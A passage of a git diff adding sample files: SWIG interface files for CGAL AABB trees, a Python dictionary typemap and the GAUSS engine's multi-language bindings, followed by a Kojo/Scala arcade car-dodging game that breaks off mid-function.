+SWIG_CGAL_declare_generic_output_iterator(Polyhedron_3_Facet_output_iterator,Polyhedron_3_Facet_output_iterator_nested_iterator,Polyhedron_3_Facet_handle_SWIG_wrapper)
+SWIG_CGAL_declare_generic_output_iterator(Polyhedron_3_Halfedge_output_iterator,Polyhedron_3_Halfedge_output_iterator_nested_iterator,Polyhedron_3_Halfedge_handle_SWIG_wrapper)
+SWIG_CGAL_declare_generic_output_iterator(Integer_output_iterator,Integer_output_iterator_nested_iterator,int)
+%define iObject_and_Facet std::pair<Object,Polyhedron_3_Facet_handle_SWIG_wrapper_for_typemap > %enddef
+SWIG_CGAL_declare_generic_output_iterator(Polyhedron_3_Facet_and_Object_output_iterator,Polyhedron_3_Facet_and_Object_output_iterator_nested_iterator,iObject_and_Facet)
+%define iObject_and_Halfedge std::pair<Object,Polyhedron_3_Halfedge_handle_SWIG_wrapper > %enddef
+SWIG_CGAL_declare_generic_output_iterator(Polyhedron_3_Halfedge_and_Object_output_iterator,Polyhedron_3_Halfedge_and_Object_output_iterator_nested_iterator,iObject_and_Halfedge)
+%define iObject_and_Integer std::pair<Object,int> %enddef
+SWIG_CGAL_declare_generic_output_iterator(Object_and_Integer_output_iterator,Object_and_Integer_output_iterator_nested_iterator,iObject_and_Integer)
+#endif
+
+#if !SWIG_CGAL_NON_SUPPORTED_TARGET_LANGUAGE
+%include "SWIG_CGAL/typemaps.i"
+SWIG_CGAL_array_of_array6_of_double_to_vector_of_segment_3_typemap_in
+SWIG_CGAL_array_of_array9_of_double_to_vector_of_triangle_3_typemap_in
+#endif
+
+%ignore AABB_tree_wrapper<CGAL_PTP_Tree,Polyhedron_3_Facet_handle_SWIG_wrapper,Polyhedron_3_Facet_handle_SWIG_wrapper >::insert_from_array;
+%ignore AABB_tree_wrapper<CGAL_PSP_Tree,Polyhedron_3_Halfedge_handle_SWIG_wrapper,Polyhedron_3_Halfedge_handle_SWIG_wrapper >::insert_from_array;
+
+//Declaration of the main classes
+%typemap(javaimports)      AABB_tree_wrapper%{import CGAL.Polyhedron_3.Polyhedron_3_Facet_handle; import CGAL.Kernel.Triangle_3; import CGAL.Kernel.Segment_3; import CGAL.Kernel.Plane_3; import CGAL.Kernel.Ray_3; import CGAL.Kernel.Point_3; import java.util.Iterator; import java.util.Collection;%}
+SWIG_CGAL_declare_identifier_of_template_class(AABB_tree_Polyhedron_3_Facet_handle,AABB_tree_wrapper<CGAL_PTP_Tree,Polyhedron_3_Facet_handle_SWIG_wrapper,Polyhedron_3_Facet_handle_SWIG_wrapper >)
+%typemap(javaimports)      AABB_tree_wrapper%{import CGAL.Polyhedron_3.Polyhedron_3_Halfedge_handle; import CGAL.Kernel.Triangle_3; import CGAL.Kernel.Segment_3; import CGAL.Kernel.Plane_3; import CGAL.Kernel.Ray_3; import CGAL.Kernel.Point_3; import java.util.Iterator; import java.util.Collection;%}
+SWIG_CGAL_declare_identifier_of_template_class(AABB_tree_Polyhedron_3_Halfedge_handle,AABB_tree_wrapper<CGAL_PSP_Tree,Polyhedron_3_Halfedge_handle_SWIG_wrapper,Polyhedron_3_Halfedge_handle_SWIG_wrapper >)
+%typemap(javaimports)      AABB_tree_wrapper%{import CGAL.Kernel.Triangle_3; import CGAL.Kernel.Segment_3; import CGAL.Kernel.Plane_3; import CGAL.Kernel.Ray_3; import CGAL.Kernel.Point_3; import java.util.Iterator; import java.util.Collection;%}
+
+SWIG_CGAL_declare_identifier_of_template_class(AABB_tree_Segment_3_soup,AABB_tree_wrapper<CGAL_SSP_Tree,Segment_3,int >)
+SWIG_CGAL_declare_identifier_of_template_class(AABB_tree_Triangle_3_soup,AABB_tree_wrapper<CGAL_TSP_Tree,Triangle_3,int >)
+
+#ifdef SWIG_CGAL_HAS_AABB_tree_USER_PACKAGE
+%include "SWIG_CGAL/User_packages/AABB_tree/extensions.i"
+#endif
diff --git a/samples/SWIG/dictionary.i b/samples/SWIG/dictionary.i
new file mode 100644
index 0000000000..a6cfdc052f
--- /dev/null
+++ b/samples/SWIG/dictionary.i
@@ -0,0 +1,25 @@
+// mds_utils/python/dictionary.i
+// 
+// Copyright (c) 2014 - Michele De Stefano (micdestefano@users.sourceforge.net)
+// 
+// Distributed under the MIT License (See accompanying file LICENSE)
+
+%include "mds_utils/python/obj.i"
+
+%typemap(in) (mds_utils::python::Dictionary) {
+	try {
+		if (!PyDict_Check($input)) {
+			throw std::invalid_argument("The dictionary argument is not a dictionary.");
+		}
+		$1 = $input;
+	} catch (std::exception& e) {
+		PyErr_SetString(PyExc_RuntimeError,e.what());
+        SWIG_fail;
+	}
+}
+
+%typemap(out) mds_utils::python::Dictionary = mds_utils::python::Obj;
+
+%typecheck(SWIG_TYPECHECK_POINTER) mds_utils::python::Dictionary {
+  $1 = PyDict_Check($input);
+}
diff --git a/samples/SWIG/gauss.i b/samples/SWIG/gauss.i
new file mode 100644
index 0000000000..7703962b2a
--- /dev/null
+++ b/samples/SWIG/gauss.i
@@ -0,0 +1,767 @@
+%feature("director") IGEProgramOutput;
+%feature("director") IGEProgramFlushOutput;
+%feature("director") IGEProgramInputString;
+%feature("director") IGEProgramInputChar;
+%feature("director") IGEProgramInputCheck;
+%include "std_string.i"
+%include "std_vector.i"
+%include "std_pair.i"
+%include "typemaps.i"
+
+#ifndef SWIGJAVASCRIPT
+%include "factory.i"
+#endif
+
+#ifdef SWIGPYTHON
+%include "pyabc.i"
+#endif
+
+#ifdef SWIGWIN
+%include "windows.i"
+#endif
+
+namespace std {
+    %template(DoubleVector) vector<double>;
+    %template(DoubleDoubleVector) vector<vector<double> >;
+    %template(FloatVector) vector<float>;
+    %template(IntVector) vector<int>;
+    %template(StringVector) vector<string>;
+    %template(StringStringVector) vector<vector<string> >;
+}
+
+#ifdef SWIGCSHARP
+%include "arrays_csharp.i"
+%apply double INPUT[] {const double *data}
+%apply double INPUT[] {const double *imag_data}
+%apply int INPUT[] {int *orders}
+#endif
+
+#ifdef SWIGJAVASCRIPT
+%include "arrays_javascript.i"
+%apply double[] {const double *data}
+%apply double[] {const double *imag_data}
+%apply int[] {int *orders}
+
+%typemap(in) const std::vector<double> & {
+  if ($input->IsArray())
+  {
+    v8::Isolate* isolate = args.GetIsolate();
+    v8::Local<v8::Context> context = isolate->GetCurrentContext();
+
+    // Convert into Array
+    v8::Local<v8::Array> array = v8::Local<v8::Array>::Cast($input);
+
+    int length = array->Length();
+
+    $1 = new std::vector<double>(length);
+
+    // Get each element from array
+    for (int i = 0; i < length; i++)
+    {
+      v8::Local<v8::Value> jsvalue = array->Get(context, i).ToLocalChecked();
+
+      double temp;
+
+      // Get primitive value from JSObject
+      int res = SWIG_AsVal_double(jsvalue, &temp);
+      if (!SWIG_IsOK(res))
+      {
+        SWIG_exception_fail(SWIG_ERROR, "Failed to convert $input to double");
+      }
+      (*arg$argnum)[i] = temp;
+    }
+  }
+  else
+  {
+    SWIG_exception_fail(SWIG_ERROR, "$input is not an array");
+  }
+}
+
+%typemap(freearg) const std::vector<double> & {
+    delete $1;
+}
+
+%typemap(in) std::vector<int> {
+  if ($input->IsArray())
+  {
+    v8::Isolate* isolate = args.GetIsolate();
+    v8::Local<v8::Context> context = isolate->GetCurrentContext();
+
+    // Convert into Array
+    v8::Local<v8::Array> array = v8::Local<v8::Array>::Cast($input);
+
+    int length = array->Length();
+
+    $1.resize(length);
+
+    // Get each element from array
+    for (int i = 0; i < length; i++)
+    {
+      v8::Local<v8::Value> jsvalue = array->Get(context, i).ToLocalChecked();
+
+      int temp;
+
+      // Get primitive value from JSObject
+      int res = SWIG_AsVal_int(jsvalue, &temp);
+      if (!SWIG_IsOK(res))
+      {
+        SWIG_exception_fail(SWIG_ERROR, "Failed to convert $input to int");
+      }
+      arg$argnum[i] = temp;
+    }
+  }
+  else
+  {
+    SWIG_exception_fail(SWIG_ERROR, "$input is not an array");
+  }
+}
+
+%typemap(in) const std::vector<std::string> & {
+  if ($input->IsArray())
+  {
+    v8::Isolate* isolate = args.GetIsolate();
+    v8::Local<v8::Context> context = isolate->GetCurrentContext();
+
+    // Convert into Array
+    v8::Local<v8::Array> array = v8::Local<v8::Array>::Cast($input);
+
+    int length = array->Length();
+
+    $1 = new std::vector<std::string>(length);
+
+    // Get each element from array
+    for (int i = 0; i < length; i++)
+    {
+      v8::Local<v8::Value> jsvalue = array->Get(context, i).ToLocalChecked();
+
+      std::string *ptr = (std::string *)0;
+      int res = SWIG_AsPtr_std_string(jsvalue, &ptr);
+      if (!SWIG_IsOK(res) || !ptr) {
+        SWIG_exception_fail(SWIG_ArgError((ptr ? res : SWIG_TypeError)), "Failed to convert $input to std::string"); 
+      }
+      (*arg$argnum)[i] = *ptr;
+      if (SWIG_IsNewObj(res)) delete ptr;
+    }
+  }
+  else
+  {
+    SWIG_exception_fail(SWIG_ERROR, "$input is not an array");
+  }
+}
+
+%typemap(freearg) const std::vector<std::string> & {
+    delete $1;
+}
+
+%typemap(out) std::vector<string> %{
+{
+  int length = $1.size();
+  v8::Local<v8::Context> context = SWIGV8_CURRENT_CONTEXT();
+  v8::Local<v8::Array> array = SWIGV8_ARRAY_NEW(length);
+
+  for (int i = 0; i < length; i++)
+  {
+    array->Set(context, i, SWIGV8_STRING_NEW($1.at(i).c_str()));
+  }
+
+  $result = array;
+}
+%}
+
+%define JAVASCRIPT_OUT_STD_VECTOR_NUMERIC(CTYPE, SWIG_NEW_FN)
+
+%typemap(out) std::vector<CTYPE> %{
+{
+  int length = $1.size();
+  v8::Local<v8::Context> context = SWIGV8_CURRENT_CONTEXT();
+  v8::Local<v8::Array> array = SWIGV8_ARRAY_NEW(length);
+
+  for (int i = 0; i < length; i++)
+  {
+    array->Set(context, i, SWIG_NEW_FN($1.at(i)));
+  }
+
+  $result = array;
+}
+%}
+
+%enddef
+
+JAVASCRIPT_OUT_STD_VECTOR_NUMERIC(double, SWIGV8_NUMBER_NEW)
+JAVASCRIPT_OUT_STD_VECTOR_NUMERIC(int, SWIGV8_INTEGER_NEW)
+
+#endif
+
+/*%rename(GESymType) GESymTypeNS;*/
+
+%{
+ /* Includes the header in the wrapper code */
+ #include "src/gauss.h"
+ #include "src/gesymbol.h"
+ #include "src/gearray.h"
+ #include "src/gematrix.h"
+ #include "src/gestringarray.h"
+ #include "src/geworkspace.h"
+ #include "src/workspacemanager.h"
+ #include "src/gefuncwrapper.h"
+ #include "src/gesymtype.h"
+%}
+
+#ifdef SWIGCSHARP
+/*
+public int this[int key]
+{
+    get
+    {
+        return GetValue(key);
+    }
+    set
+    {
+        SetValue(key,value);
+    }
+}
+*/
+#endif
+
+%newobject GAUSS::getSymbol;
+%factory(GESymbol *GAUSS::getSymbol, GEMatrix, GEArray, GEStringArray);
+
+#ifndef SWIGPHP
+%newobject GAUSS::getMatrixDirect;
+%newobject GAUSS::getMatrix;
+%newobject GAUSS::getMatrixAndClear;
+%newobject GAUSS::getArray;
+%newobject GAUSS::getArrayAndClear;
+%newobject GAUSS::getStringArray;
+%newobject GEArray::getPlane;
+%newobject GAUSS::loadWorkspace;
+/*%newobject GAUSS::createWorkspace;*/
+#endif
+%delobject GAUSS::destroyWorkspace;
+
+/* Start Python only*/
+#ifdef SWIGPYTHON
+
+%extend GESymbol {
+    string __str__() {
+        return $self->toString();
+    }
+
+    int __len__() {
+        return $self->size();
+    }
+};
+
+%pythoncode %{
+class GEIterator:
+    def __init__(self, data):
+        self.index = 0
+        self.data = data
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        if self.index >= len(self.data):
+            raise StopIteration;
+        ret = self.data[self.index]
+        self.index += 1
+        return ret
+
+    __next__ = next
+%}
+
+%define ARRAYHELPER(type,name)
+%extend name {
+    type __getitem__(int i)
+    {return $self->getElement(i);}
+    void __setitem__(int i,type v)
+    {$self->setElement(v, i);}
+
+  %pythoncode %{
+    def __iter__(self):
+        return GEIterator(self)
+  %}
+}
+
+%enddef
+
+ARRAYHELPER(double, GEMatrix)
+ARRAYHELPER(string, GEStringArray)
+
+%rename(__getitem__) doubleArray::getitem;
+%rename(__setitem__) doubleArray::setitem;
+%rename(__len__) doubleArray::size;
+
+%extend doubleArray {
+%pythoncode %{
+    def __iter__(self):
+        return GEIterator(self)
+%}
+}
+
+%factory(GESymbol *GAUSS::__getitem__, GEMatrix, GEArray, GEStringArray);
+%extend GAUSS {
+    GESymbol* __getitem__(char *name)
+    {return $self->getSymbol(std::string(name));}
+
+    void __setitem__(char *name,GESymbol* v)
+    {$self->_setSymbol(v, std::string(name));}
+
+    void __setitem__(char *name,doubleArray* v)
+    {$self->_setSymbol(v, std::string(name));}
+
+    void __setitem__(char *name,char *v)
+    {$self->setSymbol(std::string(v), std::string(name));}
+
+    void __setitem__(char *name,double v)
+    {GEMatrix t(v);$self->setSymbol(&t, std::string(name));}
+}
+
+
+%exception __getitem__ {
+   try {
+      $action
+   } catch (std::out_of_range &e) {
+      PyErr_SetString(PyExc_IndexError, const_cast<char*>(e.what()));
+      return NULL;
+   }
+}
+
+/* Automatically release ownership of callback classes*/
+%define CB_THISOWN(name,own)
+%pythonappend name ## () {
+    self.thisown = own
+}
+%enddef
+
+/*
+CB_THISOWN(IGEProgramOutput, 0)
+CB_THISOWN(IGEProgramFlushOutput, 0)
+CB_THISOWN(IGEProgramInputString, 0)
+CB_THISOWN(IGEProgramInputChar, 0)
+CB_THISOWN(IGEProgramInputCheck, 0)
+*/
+
+#endif
+/* End Python only*/
+
+/* Start PHP Only*/
+#ifdef SWIGPHP
+
+%extend GESymbol {
+    string __toString() {
+        return $self->toString();
+    }
+};
+
+%factory(GESymbol *GAUSS::offsetGet, GEMatrix, GEArray, GEStringArray);
+%typemap("phpinterfaces") GAUSS "ArrayAccess";
+%extend GAUSS {
+    GESymbol* offsetGet(char *name)
+    {return $self->getSymbol(std::string(name));}
+
+    void offsetSet(char *name,GESymbol* v)
+    {$self->_setSymbol(v, std::string(name));}
+
+    void offsetSet(char *name,doubleArray* v)
+    {$self->_setSymbol(v, std::string(name));}
+
+    void offsetSet(char *name,char *v)
+    {$self->setSymbol(std::string(v), std::string(name));}
+
+    void offsetSet(char *name,double v)
+    {GEMatrix t(v);$self->setSymbol(&t, std::string(name));}
+
+    void offsetSet(char *name,int v)
+    {GEMatrix t((double)v);$self->setSymbol(&t, std::string(name));}
+
+    bool offsetExists(char *name) {
+        int t = $self->getSymbolType(std::string(name));
+
+        return (t == GESymType::SCALAR || t == GESymType::MATRIX ||
+                t == GESymType::ARRAY_GAUSS || t == GESymType::STRING ||
+                t == GESymType::STRING_ARRAY);
+    }
+
+    void offsetUnset(char *name) {
+       //$self->setElement(defvalue, offset); 
+    }
+}
+
+%define ARRAYHELPER(type,name,defvalue)
+%typemap("phpinterfaces") name "ArrayAccess, Countable, Iterator";
+%extend name {
+    void offsetSet(int offset, type value) {
+        $self->setElement(value, offset);
+    }
+
+    bool offsetExists(int offset) {
+        return offset < $self->size();
+    }
+
+    void offsetUnset(int offset) {
+       $self->setElement(defvalue, offset); 
+    }
+
+    type offsetGet(int offset) {
+        return $self->getElement(offset);
+    } 
+
+    int count() {
+        // blah blah
+        return $self->size();
+    }
+
+    void rewind() {
+        $self->position_ = 0;
+    }
+
+    type current() {
+        return $self->getElement($self->position_);
+    }
+
+    int key() {
+        return $self->position_;
+    }
+
+    void next() {
+        ++$self->position_;
+    }
+
+    bool valid() {
+        return $self->position_ >= 0 && $self->position_ < $self->size(); 
+    }
+}
+
+%enddef
+
+ARRAYHELPER(double, GEMatrix, 0.0)
+ARRAYHELPER(string, GEStringArray, "")
+
+%rename(offsetGet) doubleArray::getitem;
+%rename(offsetSet) doubleArray::setitem;
+%rename(count) doubleArray::size;
+%typemap("phpinterfaces") doubleArray "ArrayAccess, Countable, Iterator";
+%extend doubleArray {
+    bool offsetExists(int offset) {
+        return offset >= 0 && offset < $self->size();
+    }
+
+    void offsetUnset(int offset) {
+       $self[offset] = 0.0;
+    }
+
+    void rewind() {
+        $self->position_ = 0;
+    }
+
+    double current() {
+        return $self->getitem($self->position_);
+    }
+
+    int key() {
+        return $self->position_;
+    }
+
+    void next() {
+        ++$self->position_;
+    }
+
+    bool valid() {
+        return $self->position_ >= 0 && $self->position_ < $self->size(); 
+    }
+}
+
+#ifdef SWIGPHP5
+%typemap(directorin) std::string, string, const string&, const std::string & %{
+   ZVAL_STRINGL($input, const_cast<char*>($1.data()), $1.size(), 0);
+%}
+
+%typecheck(SWIG_TYPECHECK_STRING_ARRAY)
+    std::vector<std::string> *,
+    std::vector<double> *,
+    std::vector<int> {
+    // Custom array check
+    $1 = Z_TYPE_PP($input) == IS_ARRAY;
+}
+
+%typemap(in) std::vector<std::string> * %{
+{
+    zval *arr, **data;
+    HashTable *arr_hash;
+    HashPosition pointer;
+    int array_count;
+
+    arr_hash = Z_ARRVAL_P(*$input);
+    array_count = zend_hash_num_elements(arr_hash);
+
+    $1 = new $1_basetype(array_count);
+
+    for(zend_hash_internal_pointer_reset_ex(arr_hash, &pointer);
+        zend_hash_get_current_data_ex(arr_hash, (void**) &data, &pointer) == SUCCESS;
+        zend_hash_move_forward_ex(arr_hash, &pointer))
+    {
+
+        zval temp, *str;
+        int is_str = 1;
+
+        if(Z_TYPE_PP(data) != IS_STRING) {
+            temp = **data;
+            zval_copy_ctor(&temp);
+            convert_to_string(&temp);
+            str = &temp;
+            is_str = 0;
+        } else {
+            str = *data;
+        }
+
+        $1->at(pointer->h) = std::string(Z_STRVAL_P(str));
+
+        if (!is_str)
+            zval_dtor(&temp);
+    }
+}
+%}
+
+%typemap(in) std::vector<double> *, std::vector<int> * %{
+{
+    zval *arr, **data;
+    HashTable *arr_hash;
+    HashPosition pointer;
+    int array_count;
+
+    arr_hash = Z_ARRVAL_P(*$input);
+    array_count = zend_hash_num_elements(arr_hash);
+
+    $1 = new $1_basetype(array_count);
+
+    for(zend_hash_internal_pointer_reset_ex(arr_hash, &pointer);
+        zend_hash_get_current_data_ex(arr_hash, (void**) &data, &pointer) == SUCCESS;
+        zend_hash_move_forward_ex(arr_hash, &pointer))
+    {
+        switch (Z_TYPE_PP(data)) {
+        case IS_BOOL:
+        case IS_LONG:
+            $1->at(pointer->h) = Z_LVAL_PP(data);
+            break;
+        case IS_DOUBLE:
+            $1->at(pointer->h) = Z_DVAL_PP(data);
+            break;
+        }
+    }
+}
+%}
+
+%typemap(in) std::vector<double>, std::vector<int> %{
+{
+    zval *arr, **data;
+    HashTable *arr_hash;
+    HashPosition pointer;
+    int array_count;
+
+    arr_hash = Z_ARRVAL_P(*$input);
+    array_count = zend_hash_num_elements(arr_hash);
+
+    $1.resize(array_count);
+
+    for(zend_hash_internal_pointer_reset_ex(arr_hash, &pointer);
+        zend_hash_get_current_data_ex(arr_hash, (void**) &data, &pointer) == SUCCESS;
+        zend_hash_move_forward_ex(arr_hash, &pointer))
+    {
+        switch (Z_TYPE_PP(data)) {
+        case IS_BOOL:
+        case IS_LONG:
+            $1.at(pointer->h) = Z_LVAL_PP(data);
+            break;
+        case IS_DOUBLE:
+            $1.at(pointer->h) = Z_DVAL_PP(data);
+            break;
+        }
+    }
+}
+%}
+
+#else
+/* PHP 7 */
+
+%typecheck(SWIG_TYPECHECK_STRING_ARRAY)
+    std::vector<std::string> *,
+    std::vector<double> *,
+    std::vector<int> {
+    // Custom array check
+    $1 = Z_TYPE_P(&$input) == IS_ARRAY;
+}
+
+%typemap(in) std::vector<std::string> * %{
+{
+    zval *data;
+    HashTable *arr_hash;
+    HashPosition pointer;
+    int array_count;
+
+    arr_hash = Z_ARRVAL_P(&$input);
+    array_count = zend_hash_num_elements(arr_hash);
+
+    $1 = new $1_basetype(array_count);
+
+    for(zend_hash_internal_pointer_reset_ex(arr_hash, &pointer);
+        (data = zend_hash_get_current_data_ex(arr_hash, &pointer)) != NULL;
+        zend_hash_move_forward_ex(arr_hash, &pointer))
+    {
+
+        zval temp, *str;
+        int is_str = 1;
+
+        if(Z_TYPE_P(data) != IS_STRING) {
+            temp = *data;
+            zval_copy_ctor(&temp);
+            convert_to_string(&temp);
+            str = &temp;
+            is_str = 0;
+        } else {
+            str = data;
+        }
+
+        $1->at(pointer) = std::string(Z_STRVAL_P(str));
+
+        if (!is_str)
+            zval_dtor(&temp);
+    }
+}
+%}
+
+%typemap(in) std::vector<double> *, std::vector<int> * %{
+{
+    zval *data;
+    HashTable *arr_hash;
+    HashPosition pointer;
+    int array_count;
+
+    arr_hash = Z_ARRVAL_P(&$input);
+    array_count = zend_hash_num_elements(arr_hash);
+
+    $1 = new $1_basetype(array_count);
+
+    for(zend_hash_internal_pointer_reset_ex(arr_hash, &pointer);
+        (data = zend_hash_get_current_data_ex(arr_hash, &pointer)) != NULL;
+        zend_hash_move_forward_ex(arr_hash, &pointer))
+    {
+        switch (Z_TYPE_P(data)) {
+        case IS_TRUE:
+        case IS_FALSE:
+        case IS_LONG:
+            $1->at(pointer) = Z_LVAL_P(data);
+            break;
+        case IS_DOUBLE:
+            $1->at(pointer) = Z_DVAL_P(data);
+            break;
+        }
+    }
+}
+%}
+
+%typemap(in) std::vector<double>, std::vector<int> %{
+{
+    zval *data;
+    HashTable *arr_hash;
+    HashPosition pointer;
+    int array_count;
+
+    arr_hash = Z_ARRVAL_P(&$input);
+    array_count = zend_hash_num_elements(arr_hash);
+
+    $1.resize(array_count);
+
+    for(zend_hash_internal_pointer_reset_ex(arr_hash, &pointer);
+        (data = zend_hash_get_current_data_ex(arr_hash, &pointer)) != NULL;
+        zend_hash_move_forward_ex(arr_hash, &pointer))
+    {
+        switch (Z_TYPE_P(data)) {
+        case IS_TRUE:
+        case IS_FALSE:
+        case IS_LONG:
+            $1.at(pointer) = Z_LVAL_P(data);
+            break;
+        case IS_DOUBLE:
+            $1.at(pointer) = Z_DVAL_P(data);
+            break;
+        }
+    }
+}
+%}
+
+#endif
+
+%typemap(out) std::vector<string> %{
+{
+    array_init(return_value);
+
+    for (int i = 0; i < $1.size(); ++i) {
+#ifdef SWIGPHP5
+        add_index_string(return_value, i, $1.at(i).c_str(), 1);
+#else
+        add_index_string(return_value, i, $1.at(i).c_str());
+#endif
+    }
+}
+%}
+
+%typemap(out) std::vector<double> %{
+{
+    array_init(return_value);
+
+    for (int i = 0; i < $1.size(); ++i) {
+        add_index_double(return_value, i, $1.at(i));
+    }
+}
+%}
+
+%typemap(out) std::vector<int> %{
+{
+    array_init(return_value);
+
+    for (int i = 0; i < $1.size(); ++i) {
+        add_index_long(return_value, i, $1.at(i));
+    }
+}
+%}
+#endif
+
+/* End PHP Only*/
+
+/* Not using this anymore
+%include "gausscarrays.i"
+%array_class(double, doubleArray);
+*/
+
+/* Ignore stub functions */
+%ignore hookStubOutput;
+%ignore hookStubError;
+%ignore hookStubFlush;
+%ignore hookStubInputString;
+%ignore hookStubInputChar;
+%ignore hookStubInputBlockingChar;
+%ignore hookStubInputCheck;
+
+%ignore GEStringArray::GEStringArray(StringArray_t*);
+%ignore GEStringArray::Init(StringArray_t*);
+%ignore GEStringArray::toInternal();
+%ignore GEArray::GEArray(Array_t*);
+%ignore GEArray::Init(Array_t*);
+%ignore GEArray::toInternal();
+%ignore GEMatrix::GEMatrix(Matrix_t*);
+%ignore GEMatrix::GEMatrix(GAUSS_MatrixInfo_t*);
+%ignore GEMatrix::toInternal();
+
+/* Parse the header file to generate wrappers */
+%include "src/gauss.h"
+%include "src/gesymbol.h"
+%include "src/gearray.h"
+%include "src/gematrix.h"
+%include "src/gestringarray.h"
+%include "src/geworkspace.h"
+%include "src/workspacemanager.h"
+%include "src/gefuncwrapper.h"
+%include "src/gesymtype.h"
+
diff --git a/samples/Scala/car-ride.kojo b/samples/Scala/car-ride.kojo
new file mode 100644
index 0000000000..29ba686b71
--- /dev/null
+++ b/samples/Scala/car-ride.kojo
@@ -0,0 +1,205 @@
+// Kojo examples (files ending in .kojo) are licensed under The MIT License:
+
+// Copyright (C) 2009-2018 Lalit Pant <pant.lalit@gmail.com> and the Kojo Dev Team.
+
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+
+// The above copyright notice and this permission notice shall be included in all
+// copies or substantial portions of the Software.
+
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+// Use the four arrow keys to avoid the blue cars
+// You gain energy every second, and lose energy for every collision
+// You lose if your energy drops below zero, or you hit the edges of the screen
+// You win if you stay alive for a minute
+switchToDefault2Perspective()
+val carHeight = 100
+val markerHeight = 80
+// The collision polygon for the (very similarly sized) car images car1.png and car2.png
+val carE = trans(2, 14) -> Picture {
+    repeat(2) {
+        forward(70); right(45); forward(20); right(45)
+        forward(18); right(45); forward(20); right(45)
+    }
+}
+def car(img: String) = PicShape.image(img, carE)
+
+val cars = collection.mutable.Map.empty[Picture, Vector2D]
+val carSpeed = 3
+val pResponse = 3
+var pVel = Vector2D(0, 0)
+var disabledTime = 0L
+
+val bplayer = newMp3Player
+val cplayer = newMp3Player
+
+def createCar() {
+    val c = trans(cb.x + random(cb.width.toInt), cb.y + cb.height) -> car("/media/car-ride/car2.png")
+    draw(c)
+    cars += c -> Vector2D(0, -carSpeed)
+}
+val markers = collection.mutable.Set.empty[Picture]
+def createMarker() {
+    val mwidth = 20
+    val m = fillColor(white) * penColor(white) *
+        trans(cb.x + cb.width / 2 - mwidth / 2, cb.y + cb.height) -> PicShape.rect(markerHeight, mwidth)
+    draw(m)
+    markers += m
+}
+
+cleari()
+drawStage(darkGray)
+val cb = canvasBounds
+val player = car("/media/car-ride/car1.png")
+draw(player)
+drawAndHide(carE)
+
+timer(1200) {
+    createMarker()
+    createCar()
+}
+
+animate {
+    player.moveToFront()
+    val enabled = epochTimeMillis - disabledTime > 300
+    if (enabled) {
+        if (isKeyPressed(Kc.VK_LEFT)) {
+            pVel = Vector2D(-pResponse, 0)
+            player.transv(pVel)
+        }
+        if (isKeyPressed(Kc.VK_RIGHT)) {
+            pVel = Vector2D(pResponse, 0)
+            player.transv(pVel)
+        }
+        if (isKeyPressed(Kc.VK_UP)) {
+            pVel = Vector2D(0, pResponse)
+            player.transv(pVel)
+            if (!isMp3Playing) {
+                playMp3Sound("/media/car-ride/car-accel.mp3")
+            }
+        }
+        else {
+            stopMp3()
+        }
+        if (isKeyPressed(Kc.VK_DOWN)) {
+            pVel = Vector2D(0, -pResponse)
+            player.transv(pVel)
+            if (!bplayer.isMp3Playing) {
+                bplayer.playMp3Sound("/media/car-ride/car-brake.mp3")
+            }
+        }
+        else {
+            bplayer.stopMp3()
+        }
+    }
+    else {
+        player.transv(pVel)
+    }
+
+    if (player.collidesWith(stageLeft) || player.collidesWith(stageRight)) {
+        cplayer.playMp3Sound("/media/car-ride/car-crash.mp3")
+        player.setOpacity(0.5)
+        drawMessage("You Crashed!", red)
+        stopAnimation()
+    }
+    else if (player.collidesWith(stageTop)) {
+        pVel = Vector2D(0, -pResponse)
+        player.transv(pVel * 2)
+        disabledTime = epochTimeMillis
+    }
+    else if (player.collidesWith(stageBot)) {
+        pVel = Vector2D(0, pResponse)
+        player.transv(pVel * 2)
+        disabledTime = epochTimeMillis
+    }
+
+    cars.foreach { cv =>
+        val (c, vel) = cv
+        c.moveToFront()
+        if (player.collidesWith(c)) {
+            cplayer.playMp3Sound("/media/car-ride/car-crash.mp3")
+            pVel = bouncePicVectorOffPic(player, pVel - vel, c) / 2
+            player.transv(pVel * 3)
+            c.transv(-pVel * 3)
+            disabledTime = epochTimeMillis
+            updateEnergyCrash()
+        }
+        else {
+            val newVel = Vector2D(vel.x + randomDouble(1) / 2 - 0.25, vel.y)
+            cars += c -> newVel
+            c.transv(newVel)
+        }
+        if (c.position.y + carHeight < cb.y) {
+            c.erase()
+            cars -= c
+        }
+    }
+    markers.foreach { m =>
+        m.translate(0, -carSpeed * 2)
+        if (m.position.y + markerHeight < cb.y) {
+            m.erase()
+            markers -= m
+        }
+    }
+}
+
+var energyLevel = 0
+def energyText = s"Energy: $energyLevel"
+val energyLabel = trans(cb.x + 10, cb.y + cb.height - 10) -> PicShape.textu(energyText, 20, blue)
+def updateEnergyTick() {
+    energyLevel += 2
+    energyLabel.update(energyText)
+}
+def updateEnergyCrash() {
+    energyLevel -= 10
+    energyLabel.update(energyText)
+    if (energyLevel < 0) {
+        drawMessage("You're out of energy! You Lose", red)
+        stopAnimation()
+    }
+}
+
+def drawMessage(m: String, c: Color) {
+    val te = textExtent(m, 30)
+    val pic = penColor(c) * trans(cb.x + (cb.width - te.width) / 2, 0) -> PicShape.text(m, 30)
+    draw(pic)
+}
+
+def manageGameScore() {
+    var gameTime = 0
+    val timeLabel = trans(cb.x + 10, cb.y + 50) -> PicShape.textu(gameTime, 20, blue)
+    draw(timeLabel)
+    draw(energyLabel)
+    timeLabel.forwardInputTo(stageArea)
+
+    timer(1000) {
+        gameTime += 1
+        timeLabel.update(gameTime)
+        updateEnergyTick()
+
+        if (gameTime == 60) {
+            drawMessage("Time up! You Win", green)
+            stopAnimation()
+        }
+    }
+}
+
